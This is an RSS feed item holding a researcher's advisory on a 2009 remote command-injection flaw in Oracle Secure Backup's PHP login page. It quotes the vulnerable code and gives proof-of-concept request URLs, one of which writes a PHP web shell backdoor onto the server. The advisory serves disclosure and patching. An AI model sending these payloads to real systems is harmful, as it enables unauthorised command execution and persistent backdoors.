<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Unintended Results &#187; Design Flaws</title>
	<atom:link href="http://joxeankoret.com/blog/category/design-flaws/feed/" rel="self" type="application/rss+xml" />
	<link>http://joxeankoret.com/blog</link>
	<description>Or maybe not</description>
	<lastBuildDate>Fri, 14 May 2010 23:41:09 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Oracle Secure Backup 10g Remote Code Execution</title>
		<link>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/</link>
		<comments>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/#comments</comments>
		<pubDate>Wed, 14 Jan 2009 08:35:03 +0000</pubDate>
		<dc:creator>joxean</dc:creator>
				<category><![CDATA[Design Flaws]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[advisories]]></category>
		<category><![CDATA[vulnerabilities]]></category>

		<guid isPermaLink="false">http://joxeankoret.com/blog/?p=39</guid>
		<description><![CDATA[Product Description Oracle Secure Backup is a centralized tape backup management software providing secure data protection for heterogeneous file systems and the Oracle Database. Summary The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running the web server [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Product Description<br />
</strong></p>
<p>Oracle Secure Backup is a centralized tape backup management software providing secure data protection for heterogeneous file systems and the Oracle Database.</p>
<p><strong>Summary</strong></p>
<p>The Oracle January 2009 Critical Patch Update fixes a vulnerability which allows a remote preauthenticated attacker to execute arbitrary code in the context of the user running the web server of Oracle Secure Backup.</p>
<p>In Windows environments, the vulnerability allows execution of arbitrary code as SYSTEM. In Unix and GNU/Linux environments, however, just as a normal user (oracle usually).</p>
<p><strong>CVSS2 Risk Score<br />
</strong></p>
<p>Microsoft Windows: 10<br />
Linux and Unix   :  7,5</p>
<p><strong>Affected versions<br />
</strong></p>
<p>Oracle Secure Backup version 10.1.0.3 to 10.2.0.2 in all supported operating systems are affected.</p>
<p><strong>Vulnerability Details</strong></p>
<p>Oracle Secure Backup comes with one PHP based frontend which is vulnerable to a variable poisoning attack regardless if the PHP directive register_globals is enabled or not.</p>
<p>Internally, all the variables passed to the script login.php are converted to global variables in the file $ROOT\php\globals.php. Any variable regarding or regardless the method used to send the query will be registered as a global variable.</p>
<p>From the login script called &#8220;login.php&#8221; the tool &#8220;obt.exe&#8221; is executed with a popen call passing arguments received from the client. These arguments are not sanitized nor verified and it allows post-authentication remote command execution BUT due to a logic failure in the script &#8220;login.php&#8221; when the variable &#8220;clear&#8221; has the value &#8220;no&#8221; and other variables (that supposedly comes from a cookie) are set anyone can execute</p>
<p>operating system command from remote without being authenticated. The vulnerable code is the following:</p>
<pre lang="php">if (strlen($ora_osb_bgcookie) &gt; 0 &amp;&amp; $button == "Logout")
{
// Turn DEBUG_EXEC to off
$tmp = $DEBUG_EXEC;
$DEBUG_EXEC = "no";

// Teminate the connection.
$qr_command = "$rbtool --terminate $ora_osb_bgcookie-$ora_osb_lcookie";
$msg = exec_qr("$qr_command");

if (strncmp($msg[0], "Error:", 6))
{
// Set the cookie up.
setcookie("ora_osb_bgcookie", "");
setcookie("ora_osb_lcookie", "");
$ora_osb_bgcookie = "";
}

// Reset DEBUG_EXEC.
$DEBUG_EXEC = $dtmp;
}
header("Location: /login.php?clear=yes");
}</pre>
<p>The function &#8220;exec_qr&#8221; internally calls the function PHP function &#8220;popen&#8221; to execute a command. The $rbtool variable, abusing from the variable poisoning attack, can be changed to, in example, /bin/sh or cmd.exe to execute arbitrary commands without the need for a user name or password, just with network access to the Oracle Secure Backup Web server. In fact, the script thinks that we&#8217;re doing a logout.</p>
<p><strong>Proof of Concept</strong></p>
<p>* Create a file in the directory &#8220;c:\&#8221;</p>
<p>https://&lt;target&gt;/login.php?clear=no&amp;ora_osb_lcookie=aa&amp;ora_osb_bgcookie=bb&amp;button=Logout&amp;rbtool=cmd.exe+/c+echo+hello+world+%3E+c:\oracle.secure.backup.txt+;</p>
<p>* Create a PHP backdoor</p>
<p>https://&lt;target&gt;/login.php?clear=no&amp;ora_osb_lcookie=aa&amp;ora_osb_bgcookie=bb&amp;button=Logout&amp;rbtool=cmd.exe+/c+echo+%22%3C%3Fphp+print(shell_exec(%24_GET%5B&#8217;a'%5D))%3B+%3F%3E%22+%3E+test.php%3B%26%26+echo</p>
<p><strong>Workaround</strong></p>
<p>Disable the web server.</p>
<p><strong>Patch information</strong></p>
<p>Oracle fixed the vulnerability in version 10.2.0.3 of Oracle Secure Backup.</p>
<p><strong>Contact Information</strong></p>
<p>The vulnerability was found by Joxean Koret, admin[at]joxeankoret[dot]com</p>
<p><strong>References</strong></p>
<p><a href="http://www.zerodayinitiative.com/advisories/ZDI-09-003/" target="_self">Oracle Secure Backup exec_qr() Command Injection Vulnerability</a></p>
<p><a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5448" target="_blank">CVE-2008-5448</a></p>
<p><a href="http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2009.html" target="_blank">Oracle Critical Patch Update January 2009</a></p>
<p><a href="http://www.joxeankoret.com" target="_blank">Professional Web</a></p>
<p><strong>Disclaimer</strong></p>
<p>The information in this advisory and any of its demonstrations is provided &#8220;as is&#8221;<br />
without any warranty of any kind.</p>
<p>I am not liable for any direct or indirect damages caused as a result of using the<br />
information or demonstrations provided in any part of this advisory.</p>
]]></content:encoded>
			<wfw:commentRss>http://joxeankoret.com/blog/2009/01/14/oracle-secure-backup-10g-remote-code-execution/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
